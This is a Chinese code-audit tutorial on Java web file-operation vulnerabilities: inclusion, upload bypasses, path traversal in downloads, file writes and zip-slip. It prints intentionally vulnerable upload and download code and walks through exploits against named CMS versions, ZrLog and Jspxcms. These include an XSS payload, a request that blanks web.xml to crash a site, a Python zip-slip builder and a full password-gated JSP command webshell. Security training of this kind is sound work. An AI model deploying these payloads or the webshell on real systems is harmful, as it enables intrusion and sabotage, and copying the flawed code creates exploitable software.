目录
(一)、 文件操作漏洞简介
(二) 、漏洞发现与修复案例
2.1 文件包含漏洞
2.2 文件上传漏洞
(三) 文件下载/读取漏洞
(四).文件写入漏洞
(五).文件解压漏洞
小结
(一)、 文件操作漏洞简介
文件操作是 Java Web 的核心功能之一,其中常用的操作就是将服务器上的文件以流的形式在本地读写,或上传到网络上,Java 中的 File 类就是对这些存储于磁盘上文件的虚拟映射。与我们在本地计算机上操作文件类似,Java 对文件的操作同样包括上传、删除、读取、写入等。Java Web 本身去实现这些功能是没有漏洞的,但是由于开发人员忽略了一些细节,导致攻击者可以利用这些细节通过文件操作 JavaWeb 本身的这一个功能,从而实现形如任意文件上传、任意文件下载/读取、任意文件删除等漏洞,有的场景下甚至可以利用文件解压实现目录穿越或拒绝服务攻击等,对服务器造成巨大的危害。
(二) 、漏洞发现与修复案例
2.1 文件包含漏洞
文件包含漏洞通常出现在由 PHP 编写的 Web 应用中。我们知道在 PHP 中,攻击者可以通过 PHP 中的某些包含函数,去包含一个含有攻击代码的恶意文件,在包含这个文件后,由于 PHP 包含函数的特性,无论包含的是什么类型的文件,都会将所包含的文件当作 PHP 代码去解析执行。也就是说,攻击者可能上传一个木马后缀是 txt 或者 jpg 的一句话文件,上传后利用文件包含漏洞去包含这个一句话木马文件就可以成功拿到 Shell 了。
- 静态包含:%@include file="test.jsp"%。
- 动态包含:<jsp:include page="<%=file%>"></jsp:include>、<c:import url="<%=url%>"></c:import>
由于静态包含中 file 的参数不能动态赋值,因此我目前了解的静态包含不存在包含漏洞。相反,动态包含中的 file 的参数是可以动态赋值的,因此动态包含存在问题。但这种包含和 PHP 中的包含存在很大的差别,对于 Java 的本地文件包含来说,造成的危害只有文件读取或下载,一般情况下不会造成命令执行或代码执行。因为一般情况下 Java 中对于文件的包含并不是将非 JSP 文件当成 Java 代码去执行。如果这个 JSP 文件是一个一句话木马文件,我们可以直接去 访问利用,并不需要多此一举去包含它来使用,除非在某些特殊场景下,如某些目录下权限不够,可以尝试利用包含来绕过。
2.2 文件上传漏洞
文件上传漏洞是 Java 文件操作中比较常见的一种漏洞,是指攻击者利用系统缺陷绕过对文件的验证和处理,将恶意文件上传到服务器并进行利用。这种漏洞形成原因多样,危害巨大,往往可以通过文件上传直接拿到服务器的 webshell 。引起文件上传漏洞的原因有很多,但大多数是对用户提交的数据进行检验或者过滤不严而导致的。下面我们通过几个简单的代码片段来讲解一些文件上传漏洞。
<script type="text/javascript">
function checkUploadFile() {
var file = document.getElementById("file").value;
if (file == null || file==""){
alert("未选定文件")
return false;
}
var allow_ext = ".jpg|.png|.gif|.jpeg";
var ext_name = file.substring(file.lastIndexOf("."));
if (allow_ext.indexOf(ext_name)==-1){
var errMsg = "该类型文件不允许上传";
alert(errMsg);
return false;
}
}
</script>
后端过滤不严格的实际场景有很多,如后缀名过滤不严格、上传类型过滤不严格等。针对这两种原因,我们分别用示例代码来进行说明。
public boolean checkMimeType(String filename){
String type = null;
Path path = Paths.get(filename);
File file = new File(path);
URLConnection connection = file.toURL().openConnection();
String mimeType = connection.getContentType();
If(assertEquals(mimeType, "image/png"))
return true;
else{
return false;
}
}
...
public String uploadFile(HttpServletRequest request) throws IOException {
MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest)request;
Map<String, MultipartFile> fileMap = multipartRequest.getFileMap();
if(fileMap == null || fileMap.size() == 0){
System.out.println("please choose your files!");
return "error";
}
String root = request.getServletContext().getRealPath("/upload");
File savePathFile = new File(root);
if(!savePathFile.exists()){
savePathFile.mkdirs();
}
String fileName = null;
String suffixName = null;
MultipartFile mf = null;
InputStream fileIn = null;
List<InputStream> isList = new ArrayList<InputStream>();
for (Map.Entry<String, MultipartFile> entity : fileMap.entrySet())
{
mf = entity.getValue();
fileName = mf.getOriginalFilename();
if(checkMimeType(fileName)){
suffixName = fileName.substring(fileName.lastIndexOf("."),
fileName.length());
try {
fileIn = mf.getInputStream();
isList.add(mf.getInputStream());
LocalFileUtils.upload(fileIn, root, fileName);
} catch (IOException e) {
e.printStackTrace();
}finally {
if(fileIn != null){
fileIn.close();
}
}
}else{
return "error";
}
}
return "index";
}
仔细阅读代码会发现,该上传代码片段针对上传文件的检测只有一个环节,即通过 checkMimeType() 函数来判断用户上传文件的 MimeType 的类型是否为image/png 类型,若是,则上传成功;若不是,则会上传失败。这里开发者的思路是没有问题的,但出现的问题和由前端过滤导致的任意文件上传有异曲同工之妙,在 checkMimeType() 函数中使用的是 getContentType() 方法来获取文件的 MimeType ,攻击者可以通过这种方式在前端修改文件类型,从而绕过上传。如 JSP 类型文件的MimeType 是 text/html ,我们可以通过抓包改包的方式将其修改为 image/png 类型。
public String uploadFile(HttpServletRequest request) throws IOException {
MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest) request;
Map<String, MultipartFile> fileMap = multipartRequest.getFileMap();
if(fileMap == null || fileMap.size() == 0){
System.out.println("please choose your files!");
return "error";
}
String root = request.getServletContext().getRealPath("/upload");
File savePathFile = new File(root);
if(!savePathFile.exists()){
savePathFile.mkdirs();
}
String fileName = null;
String suffixName = null;
MultipartFile mf = null;
InputStream fileIn = null;
List<InputStream> isList = new ArrayList<InputStream>();
for (Map.Entry<String, MultipartFile> entity : fileMap.entrySet())
{
mf = entity.getValue();
fileName = mf.getOriginalFilename();
suffixName = fileName.substring(fileName.indexOf("."), fileName.
length());
if(suffixName.equals("jsp")){
return "error";
}else{
try {
fileIn = mf.getInputStream();
isList.add(mf.getInputStream());
LocalFileUtils.upload(fileIn, root, fileName);
} catch (IOException e) {
e.printStackTrace();
}finally {
if(fileIn != null){
fileIn.close();
}
}
}
}
return "index";
}
上述代码是一个文件上传的代码片段,该段代码针对上传文件的检验是后缀名,若后缀名为 jsp ,则不允许上传,否则可以上传。该检验机制采用的是黑名单方式,虽然机制正确,但是代码中出现了问题。开发者首先利用 fileName.indexOf(".") 去检测文件的后缀名 indexOf(".") 是从前往后取第一个点后的内容,如果攻击者上传的文件后缀名为 test.png.jsp ,则可以绕过该检测,通常我们取后缀名所用的函数为lastIndexOf()。那么此处若将 indexOf(".") 替换成 lastIndexOf(".") ,是不是就不存在上传漏洞了呢?

对于文件上传的防范或修复有以下几种方式
- 对于上传文件的后缀名截取校验时,忽略大小写,采用统一小写或大写的方式进行比对校验。
- 严格检测上传文件的类型,推荐采用白名单的形式来校验后缀名。
- Java 版本小于 jdk 7u40 时可能存在截断漏洞,因此要注意 jdk 版本对程序的影响。
- 限制上传文件的大小和上传频率。
- 可以对上传的文件进行重命名、自定义后缀等。
(三) 文件下载/读取漏洞
与任意文件上传漏洞对应的是任意文件下载/ 读取漏洞。在文件上传中我们通常用到的是 FileOutputStream ,而在文件下载中,我们用到的通常是 FileInputStream 。引发任意文件下载/ 读取漏洞的原因通常是对传入的路径未做严格的校验,导致攻击者可以自定义路径,从而达到任意文件下载/ 读取的效果,如下代码是一个任意文件下载漏洞的示例:
protected void doPost(HttpServletRequest request,HttpServletResponse response) throws ServletException,IOException {
String rootPath = this.getServletContext().getRealPath("/");
String filename = request.getParameter("filename");
filename = filename.trim();
InputStream inStream = null;
byte[] b = new byte[1024];
int len = 0;
try {
if (filename != null) {
inStream = new FileInputStream(rootPath + "/Public/download/" +
filename);
response.reset();
response.setContentType("application/x-msdownload");
response.addHeader("Content-Disposition", "attachment; filename=\
"" + filename + "\"");
while ((len = inStream.read(b)) > 0) {
response.getOutputStream().write(b, 0, len);
}
response.getOutputStream().close();
inStream.close();
}else{
return ;
}
} catch (Exception e) {
e.printStackTrace();
}
}
(四).文件写入漏洞
文件写入与文件上传比较相似,不同的是,文件写入并非真正要上传一个文件,而是将原本要上传的文件中的代码通过 Web 站点的某些功能直接写入服务器,如某些站点后台的“设置/错误页面编辑”功能或 HTTP PUT 请求等。
ZrLog 是使用 Java 开发的博客程序。在 ZrLog 2.1.0 产品后台存在文件写入漏洞,攻击者可以利用产品后台的“设置/ 错误页面编辑”功能进行文件写入。通过利用可进行存储型 XSS 漏洞攻击,或替换 ZrLog 网站的配置文件 web.xml ,致使网站崩溃;该漏洞出现的文件路径为:\zrlog\web\src\main\java\com\zrlog\web\controller\ admin\api\TemplateController.java,具体位置如图 4 -1 所示

这段代码是网站管理员在网站后台的“设置 / 错误页面编辑 / 提交”处进行错误页面自定义的部分代码。可以发现 file 字符串由 PathKit.getWebRootPath() 和 getPara(name:"file")两个字符串拼接而成。其中 PathKit.getWebRootPath() 的返回值是网站根目录的路径执行getPara("file") 方法,如图 4 -2 所示

可以发现该方法的返回值是 this.request.getParameter(name) ,而 this.request 是javax.servlet.http.HttpServletRequest 对象,如图 4 -3 所示。

由此可见,这套 CMS 在进行“错误页面编辑”时,未经过任何过滤就进行了文件路径和文件名的拼接。
- 攻击者登录 ZrLog 的管理后台。
- 攻击者使用 Burp Suite 抓取“错误页面编辑”的数据包。
- 攻击者使用 Burp Suite 修改“错误页面编辑”的数据包。
- 攻击者发送数据包。
- 攻击者登录 ZrLog 的管理后台。
- 攻击者使用 Burp Suite 抓取“错误页面编辑”的数据包,如图 4-4 所示

由图 4-4 可以发现,攻击者可以在发送 payload 前更改文件名和文件内容。
- 攻击者使用 Burp Suite 修改“错误页面编辑”的数据包,如进行包含恶意JavaScript 脚本的 HTML 文件写入
file=%2Ferror%2Fsafedog.html&content=<script>alert(document.cookie)</script>

在浏览器中访问 http://192.168.114.238:8080/zrlog/error/safedog.html ,查看攻击效果,如图 4-6 所示

由图 4 -6 可以发现,攻击者可以通过修改文件名和文件内容,进行存储型 XSS攻击。最后我们只需要修改 payload 的路径信息,就可以达到使网站崩溃的效果,如以下 payload :
file=/WEB-INF/web.xml&content=

可以发现,web.xml 的内容被置空。
再访问 http://192.168.114.238:8080/zrlog/ ,可以看到已经瘫痪的站点,如图 4 -8 所示

对于此类型漏洞的防护以及文件下载/ 读取与任意文件上传类似。首先,就是要保证接收的路径不被用户控制,而且要对写入的内容进行校验;其次,文件写入漏洞一般利用的是源程序本身 自带 的功能,因此审计者对于此类型的漏洞进行审计时,要格外关注源程序是否具有写入文件的站点功能。此外 HTTP 请求中的 PUT 方法也可以创建并写入文件,例如比较经典的 ActiveMQ 任意文件写入漏洞(CVE-2016-3088)就是利用 PUT 方法写入文件;又例如 Apache Tomcat 7.0.0 –7.0.81 版本中,如果开启了 PUT 功能,会导致 Apache Tomcat 任意文件上传漏洞(CVE-2017-12615),攻击者可以利用该漏洞创建并写入文件
(五).文件解压漏洞
文件解压是 Java 中一个比较常见的功能,但是该功能的安全问题往往也容易被忽视。由文件解压导致的漏洞五花八门,利用的效果也各有不同,如路径遍历、文件覆盖、拒绝服务、文件写入等。
下面通过Jspxcms-9.5.1由zip解压功能导致的目录穿越漏洞实例来说明文件解压漏洞。 Jspxcms 是企业级开源网站内容管理系统,支持多组织、多站点、独立管理的网站群,也支持 Oracle、SQL Server、MySQL 等数据库。Jspxcms-9.5.1 及之前版本的后台 ZIP 文件解压功能存在目录穿越漏洞,攻击者可以利用该漏洞,构造包含恶意 WAR 包的 ZIP 文件,达到 Getshell 的破坏效果。

该接口对应 jspxcms-9.5.1-release-src/src/main/java/com/jspxcms/core/web/back/
WebFileUploadsController.java 的 unzip 方法,如图 5 -2 所示

对 unzip 方法进行跟进,发现它的具体实现在 /jspxcms-9.5.1-release-src/src/main/java/com/jspxcms/core/web/back/WebFileControllerAbstractor.java 中。在对 ZIP 文件进行解压时,程序调用了 AntZipUtil 类的 unzip 方法,如图 5 -3 所示

对 AntZipUtil 类的 unzip 方法进行跟进,可发现该方法未对 ZIP 压缩包中的文件名进行参数校验就进行文件的写入。这样的代码写法会引发“目录穿越漏洞”,如图5-2 所示。

可以通过以下步骤来验证该漏洞
import zipfile
if __name__ == "__main__":
try:
#binary = b'ddddsss'
binary = b'<script>alert("helloworld")</script>'
zipFile = zipfile.ZipFile("test5.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test5.zip")
zipFile.writestr("../../../safedog.html", binary)
zipFile.close()
except IOError as e:
raise e
注意,使用好压打开 test5.zip ,可以发现 safedog.html 所处的路径是 “test5.zip\..\..\.. ”,如图 5 -3 所示

接着,攻击者准备包含 JSP 版 webshell 的 WAR 包。该 JSP 文件的核心代码如下
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%!
public static String excuteCmd(String c)
{
StringBuilder line = new StringBuilder();
try {Process pro = Runtime.getRuntime().exec(c);
BufferedReader buf = new BufferedReader(new InputStreamReader
(pro.getInputStream()));
String temp = null;
while ((temp = buf.readLine()) != null)
{
line.append(temp+"\\n");
}
buf.close();
}
catch (Exception e)
{
line.append(e.getMessage());
}
return line.toString();
}
%>
<%
if("023".equals(request.getParameter("pwd"))&&!"".equals(request.
getParameter("cmd")))
{
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}
else
{
out.println(":-)");
}
%>
然后通过 IDEA 生成 WAR 包,步骤如下:进入“ Build ”下拉菜单,单击“ Build Artifacts... ”,如图 5 -4 所示

选择“:war”模式(直接生成 WAR 包)或“:war exploded”模式(未直接生成 WAR 包,但支持热部署)选项。这里选择“:war exploded”模式,如图 5-5 所示

接着,我们可以在 IDEA 工程的 target 目录下发现新生成的“FastjsonDeserializationVul ”,进入该目录,全选该 Web 工程的所有文件并打包成 WAR包,如图 5-6 所示


至此,本次漏洞验证过程所需的 webshell 的恶意 ZIP 文件已被生成。
单击“上传文件”按钮,上传 test5.zip ,如图 5 -8 所示。

单击“ZIP 解压”按钮,如图 5 -9 所示

此时,在服务器端查看 webapps 目录的变化,可以发现 safedog.html 和 vul.war文件被解压到了网站根目录“webapps/ROOT”外,如图 5-10 所示

在浏览器中访问以下链接:
http://192.168.114.132:8080/vul/webshell.jsp?pwd=023&cmd=calc

值得一提的是,该源程序其实已经有一定的安全防御措施,例如在网站的目录下访问上传的 JSP 文件会报 403 错误;“上传 ZIP ”的功能点可拦截本文档提及的“恶意 ZIP 文件”,而“上传文件”功能点不会进行这一拦截。
小结
文件操作中的漏洞挖掘是审计者的重点研究内容,从文件包含、文件上传、文件下载、文件读取到文件写入、文件解压等,每一个环节都有可能出现漏洞,因此要花费不少的精力去测试和研究,但这种研究往往是有巨大回报的,文件操作出现的漏洞通常能够造成巨大的危害。同时,对于文件操作漏洞的挖掘还可以结合黑盒测试来寻找入口点去审计,有时直接从接口入手能更快速地发现文件操作中可能出现的问题